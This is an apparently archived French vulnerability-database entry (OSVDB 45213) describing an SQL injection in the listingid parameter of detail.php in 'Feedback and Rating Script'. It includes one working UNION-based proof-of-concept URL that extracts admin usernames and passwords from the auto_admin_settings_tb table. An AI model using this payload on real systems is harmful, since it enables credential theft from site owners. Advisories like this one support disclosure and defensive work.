 |
|
|
|
| Détail d'une fiche vulnérabilité |
| |
 |
|
Feedback and Rating Script detail.php listingid Parameter SQL Injection |
|
|
Fiche créée le 2008-05-16 03:21:29, dernière mise à jour le 2009-10-23 05:58:53
Feedback and Rating Script contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'detail.php' script not properly sanitizing user-supplied input to the 'listingid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.
http://[target]/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x757365726E616D653A20,username,0x70617373776F72643A,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT 0,1/*
|
| |
| |
| |
| Référances externes : |
| OSVDB 45213 |
| |
| |
| |
| |
|
|
|
